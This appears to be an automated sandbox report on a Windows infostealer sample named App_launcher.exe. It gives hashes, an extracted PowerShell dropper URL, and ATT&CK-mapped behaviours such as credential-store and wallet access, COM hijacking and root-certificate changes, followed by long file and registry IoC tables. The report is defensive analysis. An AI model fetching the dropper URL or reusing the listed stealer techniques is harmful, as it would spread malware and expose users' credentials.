1ffb69343b0eb7796665a028c5c91cc3e0285183988abbaa6e07c5fab787648a

Analysis

geolocation tags

eueuropelondonukunited-kingdom
user interaction
yes
max time kernel
511s
max time network
513s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/04/2026, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
App_launcher.exe
Size 100KB
Sample260423-c2vreagy8y
SHA256 1ffb69343b0eb7796665a028c5c91cc3e0285183988abbaa6e07c5fab787648a
MD5 63dffbbbfbfb1f344eaa411ee8fa7bec
SHA1 e1d0acf14452868691dcca09c210e24333fc89f3
SHA512 b2d7837ef8a1945a649a86b4a41f199f9a55ae06374e1d2110146a6cb53549f250d3e682c5fcdde0e4bf52baae61f2ff89531d3688d6e8bbc471b721bc2635d1
SSDEEP 1536:4LT11uyRFNsa9N/urOKwjAEHxPNgE71x48suYjsW4dTRR6Q797L:MTzuyRFNN9N/wwjtHxvWuYsTRUQRP
TLSH
T1F2A36C9767E038F9E4638B34ECE14915E772F96606B18B8E1394416A5F233C19E3CB36
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://tinyurl.com/clip43475431

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
203	4216	powershell.exe
206	4216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3536	powershell.exe
1816	powershell.exe
4216	powershell.exe
1916	powershell.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	href.li
106	href.li
107	href.li

Downloads MZ/PE file 2 IoCs

flow	pid	Process
228	4484	chrome.exe
197	2824	chrome.exe

Drops file in System32 directory 15 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\syswow64\aspnet_counters.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\aspnet_counters.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\msvcp120_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\syswow64\vcruntime140_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\vcruntime140_1_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\msvcp140_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\msvcr120_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\syswow64\msvcp120_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\syswow64\msvcp140_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\ucrtbase_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\vcruntime140_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\syswow64\msvcr120_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\syswow64\ucrtbase_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\syswow64\msvcr100_clr0400.dll	Setup.exe
File opened for modification	\??\c:\windows\system32\msvcr100_clr0400.dll	Setup.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5116-1044-0x00007FFE78730000-0x00007FFE78C82000-memory.dmp	upx
behavioral2/memory/5116-1052-0x00007FFE78730000-0x00007FFE78C82000-memory.dmp	upx
behavioral2/memory/4708-1053-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx
behavioral2/memory/4708-1180-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx
behavioral2/memory/4708-1347-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx
behavioral2/memory/4708-1379-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx
behavioral2/files/0x000300000002a94a-1894.dat	upx
behavioral2/memory/4512-1922-0x00007FFE77880000-0x00007FFE77DD2000-memory.dmp	upx
behavioral2/memory/4512-1925-0x00007FFE77880000-0x00007FFE77DD2000-memory.dmp	upx
behavioral2/memory/1592-1926-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx
behavioral2/memory/1592-2138-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx
behavioral2/memory/1592-2139-0x00007FFE72E80000-0x00007FFE733D2000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	Setup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	Setup.exe

Drops file in Program Files directory 62 IoCs

description	ioc	Process
File created	C:\Program Files\WinRAR\__tmp_rar_sfx_access_check_241021265	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Descript.ion	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Resources.pri	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Default32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Zip.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Zip32.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\ReadMe.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarFiles.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarFiles.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\7zxa.dll	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExt.dll	winrar-x64-720.exe
File opened for modification	\??\c:\program files (x86)\microsoft.net\redistlist\assemblylist_4_extended.xml	Setup.exe
File opened for modification	C:\Program Files\WinRAR	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Descript.ion	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Rar.exe	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinCon32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WhatsNew.txt	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Uninstall.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Uninstall.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinCon32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\rarnew.dat	uninstall.exe
File opened for modification	C:\Program Files\WinRAR\License.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Rar.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinRAR.chm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\zipnew.dat	uninstall.exe
File opened for modification	\??\c:\program files (x86)\microsoft.net\redistlist\assemblylist_4_client.xml	Setup.exe
File opened for modification	C:\Program Files\WinRAR\Order.htm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\UnRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtPackage.msix	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinCon.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Uninstall.lst	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinRAR.exe	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtPackage.msix	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Zip32.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\ReadMe.txt	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtInstaller.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Default.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Zip.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\License.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Rar.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WhatsNew.txt	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExt.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Resources.pri	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinRAR.chm	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Default32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Rar.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtInstaller.exe	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinCon.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Uninstall.exe	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\UnRAR.exe	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\7zxa.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExt32.dll	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Order.htm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExt32.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Default.SFX	winrar-x64-720.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.activities.presentation.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\asp.netwebadminfiles\appconfig\app_localresources\appsetting.ascx.resx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\mui\0409\mscorsecr.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\asp.netwebadminfiles\providers\providerlist.ascx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.workflow.activities.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\sbsnclperf.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\asp.netwebadminfiles\providers\app_localresources\chooseprovidermanagement.aspx.resx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.componentmodel.typeconverter.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.runtime.compilerservices.visualc\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.runtime.compilerservices.visualc.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.globalization.extensions\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.globalization.extensions.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\aspnet_isapi.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.text.encoding.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\aspnet_state.exe	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\applaunch.exe.config	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\thirdpartynotices.txt	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\clr-etw.man	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.diagnostics.tracing.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.servicemodel.activities\v4.0_4.0.0.0__31bf3856ad364e35\system.servicemodel.activities.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\wpf\globalmonospace.compositefont	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe.config	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\microsoft.workflow.compiler.exe.config	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\comsvcconfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\comsvcconfig.exe	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.servicemodel.http.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.diagnostics.tracing\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.diagnostics.tracing.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\asp.netwebadminfiles\app_globalresources\appconfigcommon.resx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\wpf\globaluserinterface.compositefont	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.reflection\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.reflection.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\presentationcore\v4.0_4.0.0.0__31bf3856ad364e35\globalsansserif.compositefont	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\uninstallsqlstatetemplate.sql	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\asp.netwebadminfiles\images\aspx_file.gif	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.diagnostics.tools.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.linq.expressions.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\wpf\globaluserinterface.compositefont	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\microsoft.build.conversion.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\microsoft.build.conversion.v4.0.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\microsoft.common.targets	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\sql\en\dropsqlworkflowinstancestorelogic.sql	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\wpf\penimc_v0400.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\microsoft.visualbasic.targets	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.web.extensions.design\v4.0_4.0.0.0__31bf3856ad364e35\system.web.extensions.design.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\microsoft.data.entity.targets	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\presentationframework-systemxml\v4.0_4.0.0.0__b77a5c561934e089\presentationframework-systemxml.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.security.cryptography.csp.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\aspnet_state_perf.h	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.drawing.tlb	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.io.log\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.io.log.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\installutillib.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\asp.netwebadminfiles\images\requiredbang.gif	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\system.security.cryptography.x509certificates.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\asp.netwebadminfiles\providers\chooseprovidermanagement.aspx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\asp.netwebadminfiles\security\wizard\app_localresources\wizardfinish.ascx.resx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\microsoft.internal.tasks.dataflow.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\asp.netwebadminfiles\security\wizard\wizardpermission.ascx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\config\legacy.web_lowtrust.config	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.net.nameresolution\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.net.nameresolution.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\workflow.targets	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\asp.netwebadminfiles\security\users\manageusers.aspx	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\presentationcore\v4.0_4.0.0.0__31bf3856ad364e35\globalserif.compositefont	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\config\browsers\generic.browser	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\aspnet_regsql.exe	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\assembly\gac_64\system.management.instrumentation\v4.0_4.0.0.0__b77a5c561934e089\system.management.instrumentation.dll	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\normnfkd.nlp	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\caspol.exe.config	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework64\v4.0.30319\asp.netwebadminfiles\images\requiredbang.gif	Setup.exe
File opened for modification	\??\c:\windows\microsoft.net\framework\v4.0.30319\wpf\presentationframework-systemdata.dll	Setup.exe

Executes dropped EXE 16 IoCs

pid	Process
3636	winrar-x64-720.exe
4200	uninstall.exe
2784	RarExtInstaller.exe
4164	RarExtInstaller.exe
2368	WinRAR.exe
3808	RarExtInstaller.exe
5116	App_launcher.exe
4708	App_launcher.exe
2520	NDP481-Web.exe
4836	Setup.exe
3400	SetupUtility.exe
5060	SetupUtility.exe
1660	dismhost.exe
4628	WinRAR.exe
4512	App_launcher.exe
1592	App_launcher.exe

Loads dropped DLL 32 IoCs

pid	Process
1048	Process not Found
5116	App_launcher.exe
4708	App_launcher.exe
4836	Setup.exe
4836	Setup.exe
4836	Setup.exe
4836	Setup.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
1660	dismhost.exe
4512	App_launcher.exe
1592	App_launcher.exe

Modifies system executable filetype association 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 4 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update)\App_launcher.exe:Zone.Identifier	WinRAR.exe
File opened for modification	C:\Users\Admin\Downloads\NDP481-Web.exe:Zone.Identifier	chrome.exe
File created	C:\Users\Admin\AppData\Local\Temp\Rar$EXb4628.36251.rartemp\App_launcher.exe:Zone.Identifier	WinRAR.exe
File opened for modification	C:\Users\Admin\Downloads\winrar-x64-720.exe:Zone.Identifier	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000a266bb7dcc38a562631361bbf61dd11b140000000100000014000000d5f656cb8fe8a25c6268d13d94905bd7ce9a18c40300000001000000140000003b1efd3a66ea28b16697394703a72ca340a05bd50b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020003200300031003000000069000000010000000e000000300c060a2b0601040182373c03020f000000010000002000000008fba831c08544208f5208686b991ca1b2cfc510e7301784ddf1eb5bf03932391900000001000000100000003c70faea25600ce3b2cc5f0b222ed6295c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a003020102021028cc3a25bfba44ac449a9b586b4339aa300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303130301e170d3130303632333231353732345a170d3335303632333232303430315a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313030820222300d06092a864886f70d01010105000382020f003082020a0282020100b9089e28e4e4ec064e5068b341c57bebaeb68eaf81ba22441f6534694cbe704017f2167be279fd86ed0d39f41ba8ad92901ecb3d768f5ad9b591102e3c058d8a6d2454e71fed56ad83b4509c15a51774885920fc08c58476d368d46f2878ce5cb8f3509044ffe3635fbea19a2c961504d607fe1e8421e0423111c4283694cf50a4629ec9d6ab7100b25b0ce696d40a2496f5ffc6d5b71bd7cbb72162af12dca15d37e31afb1a4698c09bc0e7631f2a0893027e1e6a8ef29f1889e42285a2b1845740fff50ed86f9cede2453101cd17e97fb08145e3aa214026a172aaa74f3c01057eee8358b15e06639962917882b70d930c246ab41bdb27ec5f95043f934a30f59718b3a7f919a793331d01c8db22525cd725c946f9a2fb875943be9b62b18d2d86441a46ac78617e3009faae89c4412a2266039139459cc78b0ca8ca0d2ffb52ea0cf76333239dfeb01fad67d6a75003c6047063b52cb1865a43b7fbaef96e296e21214126068cc9c3eeb0c28593a1b985d9e6326c4b4c3fd65da3e5b59d77c39cc055b77400e3b838ab839750e19a42241dc6c0a330d11a5ac85234f773f1c7181f33ad7aeccb4160f3239420c24845ac5c51c62e80c2e27715bd8587ed369d9691ee00b5a370ec9fe38d80688376baaf5d70522216e266fbbab3c5c2f73e2f77a6cadec1a6c6484cc3375123d327d7b84e7096f0a14476af78cf9ae166130203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414d5f656cb8fe8a25c6268d13d94905bd7ce9a18c4301006092b06010401823715010403020100300d06092a864886f70d01010b05000382020100aca5968cbfbbaea6f6d7718743315688fd1c32715b35b7d4f091f2af37e214f1f30226053e16147f14bab84ffb89b2b2e7d409cc6db95b3b64657066b7f2b15adf1a02f3f551b8676d79f3bf567be484b92b1e9b409c2634f947189869d81cd7b6d1bf8f61c267c4b5ef60438e101b3649e420caada7c1b1276509f8cdf55b2ad08433f3ef1ff2f59c0b589337a075a0de72de6c752a6622f58c0630569f40b930aa40771582d78becc0d3b2bd83c5770c1eaeaf1953a04d79719f0faf30ce67f9d62ccc22417a07f2974218ce59791055de6f10e4b8da836640160968235b972e269a02bb578cc5b8ba69623280899ea1fdc0927c7b2b3319842a63c5006862fa9f478d997a453aa7e9edee6942b5f3819b4756107bfc7036841873eaeff9974d9e3323dd260bba2ab73f44dc8327ffbd61592b11b7ca4fdbc58b0c1c31ae32f8f8b942f77fdc619a76b15a04e1113d6645b71871bec92485d6f3d4ba41345d122d25b98da613486d4bb0077d99930961817457268aab69e3e4d9c788cc24d8ec52245c1ebc9114e296deeb0ada9edd5fb35bdbd482ecc620508725403afbc7eecdfe33e56ec3840955032539c0e9355d6531a8f6bfa009cd29c7b336322edc95f383c15acf8b8df6eab321f8a4ed1e310eb64c11ab600ba412232217a3366482910412e0ab6f1ecb500561b440ff598671d1d533697ca9738a38d7640cf169	Setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000190000000100000010000000bb048f1838395f6fc3a1f3d2b7e97654140000000100000014000000722d3a02319043b914054ee1eaa7c731d12389340300000001000000140000008f43288ad272f3103b6fb1428485ea3014c0bcfe69000000010000000e000000300c060a2b0601040182373c03020b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000320030003100310000000f0000000100000020000000279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1040000000100000010000000ce0490d5e56c34a5ae0be98be581185d5c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a00302010202103f8bc8b5fc9fb29643b569d66c42e144300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131303332323232303532385a170d3336303332323232313330345a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100b28041aa35384d13723268224db8b2f1ffd552bc6cc7f5d24a8c36eed1c25c7e8c8aaeaf13286fc073e33aced025a85a3a6defa8b859ab132368cd0c2987d16f805c8f447f5d90015258ac51c55f2a87dcdcd80a1dc103b97bb056e8a3de6461c29ef8f37cb9ec0db554fe4cb6654f88f09c48990c420b097c315917790678288d893a4c0325be716a5c0be78460a49922e3d2af84a4a7fbd198ed0ca9de9489e10ea0dcc0ce993dea0852bb5679e41f84ba1eb8b4c4495c4f314b87dddd0567269980e07111a3b8a541e2a453b9f73229830c13bf365e04b34b43472f6be2911ed3984fdd4207c8e81d12fc99a96b3e927ec8d6693afc64bdb6099dcafd0c0ba29b77604b0394a4306912d6422dc1414ccadcaafd8f5b83469ad9fcb1d1e3b3c97f487acd24f0418f5c74d0acb010200649b7c72d21c857e3d086f30368fbd0ce71c189994a64016cfdec3091cf413c92c7e5ba861d6184c75f833962aeb4922f47f30bf855eba01f59d0bb749b1ed076e6f2e906d710e8fa64de69c635968802f046b83f27996fcb71892935f7481602358fd5797c4d02cf5feb8a834f457188f9a90d4e72e9c29c07cf491b4e040e63518c5ed800c1552cb6c6e0c2654ec93439f59cb3c47ee8616e135f15c45fd97eed1dceee44eccb2e86b1ec38f670edab5c13c1d90f0dc780b255ed34f7ac9be4c3dae7473ca6b58f31dfc54bafebf10203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414722d3a02319043b914054ee1eaa7c731d1238934301006092b06010401823715010403020100300d06092a864886f70d01010b050003820201007f72cf0fb7c515db9bc049ca265bfe9e13e6d3f0d2db975ff24b3f4db3ae19aeedd797a0acefa93aa3c241b0e5b8919e13812403e609fd3f574039212456d1102f4b40a936864bb453579afbf17e898f11fe186c51aae8ed0995b5e571c9a1e98775a6157f